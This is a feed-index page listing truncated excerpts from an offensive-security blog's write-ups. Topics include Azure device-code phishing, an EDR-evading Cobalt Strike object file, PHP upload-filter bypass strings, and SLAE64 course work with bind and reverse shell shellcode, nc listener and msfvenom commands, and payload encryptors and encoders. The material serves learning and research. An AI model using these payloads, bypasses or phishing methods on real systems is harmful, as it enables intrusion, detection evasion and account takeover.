Boku

0xboku.com · English

Pentesting & Exploit Dev

atom

Open the feed

https://0xboku.com/feed.xml

Last post: Sep 14, 2021
Posts in 24 h · 7 days · 30 days: 0 · 0 · 0
Our last check: Answering
Served from: United States
Text score: 33,887
Format: atom

Posts

What our queue read from this feed. Open one to read it here, or go to the site that published it.

Beginners Guide to 0day/CVE AppSec Research
Sep 14, 2021 · original
Blog Contributors: Adeeb Shah @hyd3sec & John Jackson(@johnjhacking) About A while ago I took up the challenge to get Offensive Security Web Expert (OSWE) certified. During this journey I learned many awesome things. The most important lesson learned was that with source code and a debugger, I could find vulnerabilities exponentially faster than by using traditional Blackbox/Bug-Bounty methods. This made me fall in love with hunting for 0days in web applications. While pursuing the OSWE, I took a very unorthodox approach. I read through the materials over, and over, and over, and over again. I took the methods that OffSec taught me, and rather than completing the coursework, I applied them to the real world. This was one of the best things I ever did, and (with allot of luck) lead me to some awesome personal accomplishments: Exploit research featured in Hack the Box Buff Box (Thanks Shau
Creating the WhereAmI Cobalt Strike BOF
Aug 19, 2021 · original
Overview This is a walkthrough of creating the Cobalt Strike Beacon Object File (BOF) “Where Am I?” This idea was inspired by Matt Eidelberg’s DEF CON 29 talk Operation Bypass Catch My Payload If You Can . In this talk, Matt shows how EDR heuristics can detect Cobalt Strike beacons based on their behavior. Matt uses an example where after the beacon compromises the endpoint, the first thing it does is run the whoami.exe local binary. This behavior of the host beacon process spawning a new whoami.exe process, triggers the EDR and the beacon is burned! I’ve been doing allot of Windows Internals studying, and this video made a lightbulb go off. I thought “Why not just get the whoami.exe info from the process? It’s already right there in the beacon processes memory!” So that’s what I did! I created a Beacon Object File that grabs the information we’d want, right there from the beacon process
The Art of the Device Code Phish
Jul 12, 2021 · original
Blog Contributors: Bobby Cooke(Boku/@0xBoku) , Stephan Borosh(rvrsh3ll/@424f424f) , Adeeb Shah(@hyd3sec) , Octavio Paguaga(@oakTree__) , John Jackson(@johnjhacking) , Matt Kingstone(@n00bRage) , Jose Plascencia(@_GRIM3_) TokenTactics Creators: Bobby Cooke(Boku/@0xBoku) , Stephan Borosh(rvrsh3ll/@424f424f) Shout-Outs: Charles Hamilton (@Mr.Un1k0d3r) , Dr. Nestori Syynimaa(@DrAzureAD) , Nikhil Mittal(@nikhil_mitt) Overview In this blog we’ll walkthrough the Azure Device Code Phishing attack, from creating a malicious Azure phishing infrastructure, to achieving Azure Account Take-Over (ATO). We’ll be setting up Azure accounts, Azure Active Directories (AAD), Exchange Online (EXO), spinning up hypervisors, creating Virtual Machines (VMs), creating phishing accounts for Red Team Operators (RTOs), honing our HTML phishing emails, launching an Azure Device Code Phishing campaign, bypassing Mult
WebApp PHP - File Upload Bypass
May 21, 2020 · original
Overview Techniques gathered to bypass PHP file upload filters. PHP Null Byte photo.php%00.jpg Only usable with older PHP versions ~5.4 Apache Dual Extentions photo.php.png Apache has a setting were a file can have 2 extensions Apache will process the file as either type based on the extensions Alternate PHP Extentions .phtml .php3 .php4 .php5 .phps There are many different file extensions for PHP. Developers may blacklist *.php but forget *.php3 Case Sensitive Bypass Developers may blacklist *.php using case sensitive regex This can be bypassed with file.PhP PHP File-Type Bypass Typical of image uploads, developers will try to whitelist the allowed file types that may be uploaded. if ((( $_FILES [ "file" ][ "type" ] == "image/gif" ) || ( $_FILES [ "file" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "file" ][ "type" ] == "image/JPG" ) || ( $_FILES [ "file" ][ "type" ] == "image/png" ) ||
SLAE64 Assignment 1 - Remove Nulls TCP Bindshell
Apr 28, 2020 · original
Overview The second part of the first assignment of SLAE64 was to remove the nulls from the bindshell provided by Pentester Academy. Compiling & Testing Original - With GCC in C Host Program root@zed# ./shellcode Shellcode Length: 2 We can see here that these nulls truncate our shellcode when executed in a host program. This is because \x00 will terminate a string in the host program. Most of the time shellcode is injected into the host program by overflowing the string of a buffer, therefor truncating the shellcode. Compiling & Testing Original - With NASM & LD The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good. Terminal 1 root# nasm -f elf64 bindshell.asm -o bindshell.o root# rm shellcode root# ld bindshell.o -o bindshell root# ./bindshell Terminal 2 root# nc 127.0.0.1 4444 id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( roo
SLAE64 Assignment 2 - Remove Nulls TCP Reverse Shell
Apr 28, 2020 · original
Overview The second part of the second assignment of SLAE64 was to remove the nulls from the reverse-shell provided by Pentester Academy. Compiling & Testing Original - With NASM & LD The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good. Terminal 1 Start a netcat listener on port 4444 before executing the shellcode. root# nc -nvlp 4444 listening on [ any] 4444 ... connect to [ 127.0.0.1] from ( UNKNOWN ) [ 127.0.0.1] 37596 id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) Terminal 2 root# nasm -f elf64 RevShell.nasm -o RevShell.o root# ld RevShell.o -o RevShell root# vi RevShell.nasm root# ./RevShell Removing Nulls To make this shellcode injectable into most host programs, we will need to remove the 0x00 aka Nulls . To determine which assembly instructions are producing the nulls, we will use objdump on the object file. Fin
SLAE64 Assignment 7 - Cryptor Shellcode
Apr 27, 2020 · original
Overview For the seventh assignment of the SLAE64, I created an Add Cryptor and a companion Sub Decryptor. Any shellcode or encryption key can be placed in the python Add Cryptor. The Add Cryptor will output an assembly file decrypt.asm . This assembly file is shellcode that will decrypt the payload in memory and then execute it. Contents 1. The Python Cryptor 2. Configurable Payload 3. Configurable Encryption Key 4. Testing Python Cryptor Program 5. The Decryptor File 6. Compiling-the-Decryptor 7. Adding the Decryptor to A Host Program 8. Compiling & Executing the Test Host Program The Python Cryptor #!/usr/bin/python # Filename: add-cryptor.py # Author: Bobby Cooke # Execve(/bin/bash) Linux/x64 Shellcode payload = " \x48\x31\xf6 " # xor rsi, rsi payload += " \x48\xf7\xe6 " # mul rsi ; rdx&rax= 0x0 payload += " \x48\x31\xff " # xor rdi, rdi payload += " \x57 " # push rdi payload += " \x
SLAE64 Assignment 3 - EggHunter
Apr 26, 2020 · original
Overview For the third assignment of the SLAE64 course I created a 64 bit egghunter. To check if the memory is readable, the egghunter uses the link() system call. The egghunter scans the hosts process memory, byte by byte, in search for the egg. Once the egghunter finds the egg, it will check to see if there is 2 eggs or only one instance of the egg. If there is only 1 instance of the egg, then the egg hunter is probably reading the egg from itself. To overcome this issue, the egg hunter must find the egg twice. Creating the EggHunter The Link System Call To find detailed information about the link system call, the first thing we do is consult the man(uel) pages. user $ man link.2 int link ( const char * oldpath, const char * newpath ) ; rax = 0x56 rdi = Address rsi = 0x0 For the purpose of the egghunter, we do not care about what the function/system call really does. All we care about
SLAE64 Assignment 4 - ROL Encoder
Apr 26, 2020 · original
Overview For the fourth assignment of the SLAE64 I created a Rotate Left (ROL) Encoder and a Rotate Right (ROR) decoder. The ROL encoder is a python program that rotates every byte of the payload to the left by 1 bit. The companion ROR decoder rotates every byte of the payload to the right by 1 bit, and then passes execution to the decoded payload. The example payload is an execve shellcode that spawns a bash shell. The Python Rotate Left (ROL) Encoder #!/usr/bin/python shellcode = " \x48\x31\xf6 " # xor rsi, rsi shellcode += " \x48\xf7\xe6 " # mul rsi ; rdx&rax= 0x0 shellcode += " \x48\x31\xff " # xor rdi, rdi shellcode += " \x57 " # push rdi shellcode += " \x48\x83\xc2\x68 " # add rdx, 0x68 shellcode += " \x52 " # push rdx shellcode += " \x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73 " # movabs rdx, 0x7361622f6e69622f shellcode += " \x52 " # push rdx shellcode += " \x48\x31\xd2 " # xor rdx,
SLAE64 Assignment 5 - MSFVenom Bind Shell Analysis
Apr 26, 2020 · original
Overview For the fifth assignment of the SLAE64, I analyzed three payloads from msfvenom. This is the third payload, linux/x64/shell_bind_tcp . Bind Shell Anaylsis We will be analyzing the msfvenom non-staged bind shell payload. Generating the MSFVenom Payload Here we generate the payload on Kali Linux and output it to the C format. This allows us to easy add it to our host shellcode.c program. root# msfvenom -v shellcode -f c -p linux/x64/shell_bind_tcp Payload size: 86 bytes unsigned char shellcode[] = " \x 6a \x 29 \x 58 \x 99 \x 6a \x 02 \x 5f \x 6a \x 01 \x 5e \x 0f \x 05 \x 48 \x 97 \x 52" " \x c7 \x 04 \x 24 \x 02 \x 00 \x 11 \x 5c \x 48 \x 89 \x e6 \x 6a \x 10 \x 5a \x 6a \x 31" " \x 58 \x 0f \x 05 \x 6a \x 32 \x 58 \x 0f \x 05 \x 48 \x 31 \x f6 \x 6a \x 2b \x 58 \x 0f" " \x 05 \x 48 \x 97 \x 6a \x 03 \x 5e \x 48 \x ff \x ce \x 6a \x 21 \x 58 \x 0f \x 05 \x 75" " \x f6 \x 6a \x 3

Found by rss-feed-index, which checks each feed once a month at most.

Same record as JSON: https://api.agentalog.com/api/feeds/fd_0xboku_com_0736aa08f1575e4c. More from this site: 0xboku.com in the Feeds tab.